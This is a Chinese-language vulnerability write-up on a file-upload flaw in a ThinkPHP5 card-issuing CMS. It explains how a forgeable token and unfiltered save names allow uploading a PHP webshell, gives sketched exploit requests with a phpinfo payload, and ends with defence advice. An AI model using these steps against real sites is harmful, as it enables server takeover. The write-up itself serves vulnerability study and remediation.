实战审计并getshell某发卡平台
字数 984 2025-08-25 22:58:47
TP5发卡平台CMS文件上传漏洞分析与利用
漏洞概述
该漏洞存在于一个基于ThinkPHP5开发的自助发卡系统中,通过精心构造的上传请求可以绕过系统的安全检测,实现任意文件上传,最终导致getshell。
漏洞背景
系统后台上传功能分为两个步骤:
- 调用admin模块plugin控制器的update方法生成加密token
- 实际文件上传操作
漏洞分析
第一步:token生成
// admin模块plugin控制器的update方法
// 通过post的md5和filename生成加密token
$token = md5($filename . session_id());
第二步:文件上传
上传请求包含以下关键参数:
token:用于验证的令牌filename:由$md5和$ext构造$md5:可控参数$ext:可控参数
关键代码:
$filename = join('/', $md5) . ".{$ext}";
if ($this->request->post('token') !== md5($filename . session_id())) {
// 验证失败
}
漏洞点1:token验证绕过
由于$filename由可控的$md5和$ext构造,且post的token也可控,攻击者可以:
- 构造任意的
$md5和$ext - 计算对应的
$filename - 生成匹配的
token
漏洞点2:文件保存路径控制
关键代码:
$info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true);
move函数内部调用:
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;
buildSaveName函数关键逻辑:
protected function buildSaveName($savename) {
// ...
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}
return $savename;
}
关键发现:
- 如果
$savename(即$md5[1])包含.,则直接返回原值 - 这意味着我们可以完全控制最终保存的文件名
漏洞利用步骤
-
构造恶意请求:
- 设置
$md5[1]为类似shell.php的形式(长度需大于16位) - 在文件内容中保留PNG文件头,后面附加PHP代码
- 设置
-
绕过检测:
- 虽然系统会返回"上传失败",但实际上文件已成功上传
- 上传路径为:
xxxxx/static/upload/$md5[0]/$md5[1]
-
访问webshell:
- 直接访问上传的PHP文件执行任意代码
实际利用示例
-
构造第一个请求获取有效token:
POST /admin/plugin/update md5=attacker_controlled&filename=desired_filename -
构造文件上传请求:
POST /upload_endpoint token=calculated_token file=<PNG文件头> + <?php phpinfo(); ?> $md5[0]=dir_name $md5[1]=shell.php -
访问webshell:
GET /static/upload/dir_name/shell.php
防御建议
- 严格校验上传文件的类型和内容
- 对上传文件名进行严格过滤,禁止用户控制文件扩展名
- 实现文件内容检测机制
- 将上传文件存储在非web可访问目录
- 使用随机生成的文件名
- 限制上传目录的执行权限
补充说明
- 该漏洞为未授权漏洞,无需登录即可利用
- 在PHP 7环境下可利用PHP 7的漏洞执行命令
- 虽然系统返回上传失败,但实际上文件已成功写入
该漏洞展示了文件上传功能中常见的逻辑缺陷和安全问题,开发者在实现类似功能时应特别注意安全验证的完整性和不可绕过性。